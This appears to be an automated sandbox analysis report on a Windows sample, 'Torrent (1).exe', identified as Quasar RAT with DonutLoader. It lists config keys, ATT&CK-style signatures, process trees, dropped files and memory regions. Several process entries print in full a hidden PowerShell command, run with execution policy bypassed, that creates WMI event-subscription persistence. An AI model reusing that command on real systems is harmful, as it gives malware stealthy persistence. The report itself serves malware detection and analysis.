Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    14/11/2026, 03:38

General

  • Target
    Torrent (1).exe
  • Size 1.5MB
  • Sample261114-d65b3sct2y
  • SHA256 77418877695d1503d574b65ccb18f24fc0e963ec78659e7cabc2dbf91bec009d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • quasar

Attributes
  • encryption_key

    6D14F6DAC4C83A0E876468CF4054D970F9D50856

  • key_salt

    5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382

  • reconnect_delay

    3000

Signatures

  • Family: DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

  • Family: Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Detects DonutLoader 1 IoCs
  • PulsaRAT library module 2 IoCs

    Core component of the PulsaRAT remote access trojan, implementing its command protocol for hidden remote desktop, UAC bypass, persistence, and credential theft.

  • Quasar payload 1 IoCs
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 8 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Creates a file in the Startup directory 1 TTPs 3 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 4 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe
    "C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe"
    1⤵
    • Boot or Logon Autostart Execution: Active Setup
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4512
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$f=Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SysHealth';EventNameSpace='root\cimv2';QueryLanguage='WQL';Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"'};$c=Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='SysHealthC';CommandLineTemplate='C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe'};Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$f;Consumer=$c};"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4324
  • C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe
    "C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe"
    1⤵
    • Boot or Logon Autostart Execution: Active Setup
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2112
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$f=Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SysHealth';EventNameSpace='root\cimv2';QueryLanguage='WQL';Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"'};$c=Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='SysHealthC';CommandLineTemplate='C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe'};Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$f;Consumer=$c};"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4428
  • C:\Windows\system32\wbem\WmiApSrv.exe
    C:\Windows\system32\wbem\WmiApSrv.exe
    1⤵
      PID:4792
    • C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe
      "C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"
      1⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1764
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$f=Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SysHealth';EventNameSpace='root\cimv2';QueryLanguage='WQL';Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"'};$c=Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='SysHealthC';CommandLineTemplate='C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe'};Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$f;Consumer=$c};"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4040
    • C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe
      "C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"
      1⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Drops file in System32 directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4228
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$f=Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SysHealth';EventNameSpace='root\cimv2';QueryLanguage='WQL';Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"'};$c=Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='SysHealthC';CommandLineTemplate='C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe'};Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$f;Consumer=$c};"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2816

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 7671dad3b7c0d70b0634db7ddd8d62abf0b832d856f8cf70d23daa5f75c33db2
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_05gess3t.jsh.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_05gess3t.jsh.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          WindowsUpdateService.exe

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdateService.exe
          • Size 1.5MB
          • SHA256 77418877695d1503d574b65ccb18f24fc0e963ec78659e7cabc2dbf91bec009d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 e5e21171532631873c188b53516e679f08a49655ce2a2e376dcd3a7384ef3c04
          • MD5 SHA1 SHA512 TLSH

          memory/1764-60-0x00007FF6EA880000-0x00007FF6EAA11000-memory.dmp

          memory/2112-30-0x00007FF6EA880000-0x00007FF6EAA11000-memory.dmp

          memory/4228-83-0x00007FF6EA880000-0x00007FF6EAA11000-memory.dmp

          memory/4324-34-0x0000018B678D0000-0x0000018B678E0000-memory.dmp

          memory/4324-3-0x0000018B678D0000-0x0000018B678E0000-memory.dmp

          memory/4324-15-0x0000018B69B80000-0x0000018B69BA2000-memory.dmp

          memory/4324-4-0x0000018B678D0000-0x0000018B678E0000-memory.dmp

          memory/4324-35-0x0000018B678D0000-0x0000018B678E0000-memory.dmp

          memory/4512-1-0x00000156DFCC0000-0x00000156DFE45000-memory.dmp

          memory/4512-36-0x00000156E0170000-0x00000156E0180000-memory.dmp

          memory/4512-12-0x00000156E0170000-0x00000156E0180000-memory.dmp

          memory/4512-10-0x00000156F8720000-0x00000156F88A6000-memory.dmp

          memory/4512-41-0x00000156E0170000-0x00000156E0180000-memory.dmp

          memory/4512-40-0x00007FF6EA880000-0x00007FF6EAA11000-memory.dmp

          memory/4512-33-0x00000156E01C0000-0x00000156E01F8000-memory.dmp

          memory/4512-11-0x00000156E0170000-0x00000156E0180000-memory.dmp

          memory/4512-16-0x00000156DFF00000-0x00000156DFF30000-memory.dmp